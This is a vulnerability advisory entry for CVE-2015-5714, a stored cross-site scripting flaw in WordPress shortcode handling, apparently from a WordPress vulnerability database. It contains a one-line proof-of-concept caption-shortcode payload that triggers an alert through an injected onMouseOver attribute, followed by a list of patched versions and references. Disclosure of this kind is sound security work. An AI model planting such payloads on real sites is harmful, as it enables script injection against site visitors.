WordPress <= 4.3 - Authenticated Shortcode Tags Cross-Site Scripting (XSS)



Proof of Concept
The following payload placed in a page or post (does not work in comments):

TEST!!![caption width="1" caption='<a href="' ">]</a><a href="http://onMouseOver='alert(1)'">Click me</a>

Affects WordPresses

fixed in version 4.3.1
fixed in version 4.2.5
fixed in version 4.2.5
fixed in version 4.2.5
fixed in version 4.2.5
fixed in version 4.2.5
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.1.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 4.0.8
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.9.9
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.8.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11
fixed in version 3.7.11

References

CVE 2015-5714
URL https://wordpress.org/news/2015/09/wordpress-4-3-1/
URL http://blog.checkpoint.com/2015/09/15/finding-vulnerabilities-in-core-wordpress-a-bug-hunters-trilogy-part-iii-ultimatum/
URL http://blog.knownsec.com/2015/09/wordpress-vulnerability-analysis-cve-2015-5714-cve-2015-5715/

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter ethicalhack3r
Submitter Website https://dewhurstsecurity.com/
Submitter Twitter ethicalhack3r
Views 10802
Verified Yes
WPVDB ID 8186

Timeline

Publicly Published 2015-09-15 (almost 4 years ago)
Added 2015-09-15 (almost 4 years ago)
Last Updated 2018-08-29 (12 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin